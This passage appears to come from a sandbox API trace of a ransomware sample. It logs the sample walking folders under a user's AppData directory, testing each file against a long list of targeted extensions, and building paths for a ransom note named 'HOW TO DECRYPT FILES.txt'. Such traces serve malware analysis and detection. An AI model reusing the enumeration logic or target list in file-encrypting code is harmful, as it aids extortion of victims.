pszSpec="*.qbo") returned 0 [0087.954] lstrlenA (lpString="*.qbo") returned 5 [0087.954] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.qbx") returned 0 [0087.954] lstrlenA (lpString="*.qbx") returned 5 [0087.954] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.qba") returned 0 [0087.954] lstrlenA (lpString="*.qba") returned 5 [0087.954] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.qby") returned 0 [0087.954] lstrlenA (lpString="*.qby") returned 5 [0087.954] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.qbj") returned 0 [0087.954] lstrlenA (lpString="*.qbj") returned 5 [0087.954] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.ofx") returned 0 [0087.954] lstrlenA (lpString="*.ofx") returned 5 [0087.954] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.qif") returned 0 [0087.954] lstrlenA (lpString="*.qif") returned 5 [0087.954] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.mye") returned 0 [0087.955] lstrlenA (lpString="*.mye") returned 5 [0087.955] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.mbox") returned 0 [0087.955] lstrlenA (lpString="*.mbox") returned 6 [0087.955] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.eml") returned 0 [0087.955] lstrlenA (lpString="*.eml") returned 5 [0087.955] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.pst") returned 0 [0087.955] lstrlenA (lpString="*.pst") returned 5 [0087.955] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.ost") returned 0 [0087.955] lstrlenA (lpString="*.ost") returned 5 [0087.955] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.idx") returned 0 [0087.955] lstrlenA (lpString="*.idx") returned 5 [0087.955] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.dbx") returned 0 [0087.955] lstrlenA (lpString="*.dbx") returned 5 [0087.955] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.sql") returned 0 [0087.955] lstrlenA (lpString="*.sql") returned 5 [0087.955] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.mdb") returned 0 [0087.955] lstrlenA (lpString="*.mdb") returned 5 [0087.955] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.fdb") returned 0 [0087.955] lstrlenA (lpString="*.fdb") returned 5 [0087.956] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.wab") returned 0 [0087.956] lstrlenA (lpString="*.wab") returned 5 [0087.956] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.dat") returned 0 [0087.956] lstrlenA (lpString="*.dat") returned 5 [0087.956] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.txt") returned 0 [0087.956] lstrlenA (lpString="*.txt") returned 5 [0087.956] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.jpeg") returned 0 [0087.956] lstrlenA (lpString="*.jpeg") returned 6 [0087.956] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.jpg") returned 0 [0087.956] lstrlenA (lpString="*.jpg") returned 5 [0087.956] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.png") returned 0 [0087.957] lstrlenA (lpString="*.png") returned 5 [0087.957] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.php") returned 0 [0087.957] lstrlenA (lpString="*.php") returned 5 [0087.957] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.cs") returned 0 [0087.957] lstrlenA (lpString="*.cs") returned 4 [0087.957] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.cpp") returned 0 [0087.957] lstrlenA (lpString="*.cpp") returned 5 [0087.957] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.rar") returned 0 [0087.957] lstrlenA (lpString="*.rar") returned 5 [0087.957] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.zip") returned 0 [0087.957] lstrlenA (lpString="*.zip") returned 5 [0087.957] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.html") returned 0 [0087.957] lstrlenA (lpString="*.html") returned 6 [0087.957] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.htm") returned 0 [0087.957] lstrlenA (lpString="*.htm") returned 5 [0087.957] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.xlsx") returned 0 [0087.957] lstrlenA (lpString="*.xlsx") returned 6 [0087.957] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.xls") returned 0 [0087.958] lstrlenA (lpString="*.xls") returned 5 [0087.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.mp4") returned 0 [0087.958] lstrlenA (lpString="*.mp4") returned 5 [0087.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.ppt") returned 0 [0087.958] lstrlenA (lpString="*.ppt") returned 5 [0087.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.pptx") returned 0 [0087.958] lstrlenA (lpString="*.pptx") returned 6 [0087.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.doc") returned 0 [0087.958] lstrlenA (lpString="*.doc") returned 5 [0087.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.dot") returned 0 [0087.958] lstrlenA (lpString="*.dot") returned 5 [0087.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.docx") returned 0 [0087.958] lstrlenA (lpString="*.docx") returned 6 [0087.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.7z") returned 0 [0087.958] lstrlenA (lpString="*.7z") returned 4 [0087.958] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.tar") returned 0 [0087.959] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xb0aa1fc0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0aa1fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0aa1fc0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x3d, dwReserved0=0x330037, dwReserved1=0x33002d, cFileName="fda992c8d564f97e48410a19a2e459f6_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="FDA992~1")) returned 1 [0087.959] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0087.959] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="fda992c8d564f97e48410a19a2e459f6_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned -1 [0087.959] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="fda992c8d564f97e48410a19a2e459f6_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 1 [0087.959] lstrcmpiA (lpString1="", lpString2="fda992c8d564f97e48410a19a2e459f6_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned -1 [0087.959] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned="932a2db58c237abd381d22df4c63a04a_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" [0087.959] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" [0087.959] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\") returned="" [0087.959] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt" [0087.959] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-3388679973-3930757225-3770151564-1000\\how to decrypt files.txt")) returned 0x2020 [0087.960] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\", lpString2="fda992c8d564f97e48410a19a2e459f6_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\fda992c8d564f97e48410a19a2e459f6_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\fda992c8d564f97e48410a19a2e459f6_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" [0087.960] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\fda992c8d564f97e48410a19a2e459f6_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", pszSpec="*.ems") returned 0 [0087.960] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xb0aa1fc0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0aa1fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0aa1fc0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x3d, dwReserved0=0x330037, dwReserved1=0x33002d, cFileName="fda992c8d564f97e48410a19a2e459f6_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="FDA992~1")) returned 0 [0087.960] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0087.960] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x681f1360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa1e34990, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e34990, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0087.960] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0087.960] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x681f1360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x681f1360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 0 [0087.960] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0087.960] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f766d30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720043, dwReserved1=0x700079, cFileName="Document Building Blocks", cAlternateFileName="DOCUME~1")) returned 1 [0087.961] lstrcmpA (lpString1=".", lpString2="Document Building Blocks") returned -1 [0087.961] lstrcmpA (lpString1="..", lpString2="Document Building Blocks") returned -1 [0087.961] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*.*") returned="*.*" [0087.961] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\", lpString2="Document Building Blocks" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks" [0087.961] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f766d30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x38646439, dwReserved1=0x3964372d, cFileName=".", cAlternateFileName="")) returned 0x502658 [0087.962] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.962] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f766d30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x39640000, cFileName="..", cAlternateFileName="")) returned 1 [0087.962] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.962] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.962] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f766d30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0087.962] lstrcmpA (lpString1=".", lpString2="1033") returned -1 [0087.962] lstrcmpA (lpString1="..", lpString2="1033") returned -1 [0087.962] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*.*") returned="*.*" [0087.962] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\", lpString2="1033" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033" [0087.962] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f766d30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0087.963] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.963] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f766d30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.963] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.963] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.963] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4f766d30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4f766d30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4f766d30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0087.963] lstrcmpA (lpString1=".", lpString2="14") returned -1 [0087.963] lstrcmpA (lpString1="..", lpString2="14") returned -1 [0087.963] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*.*") 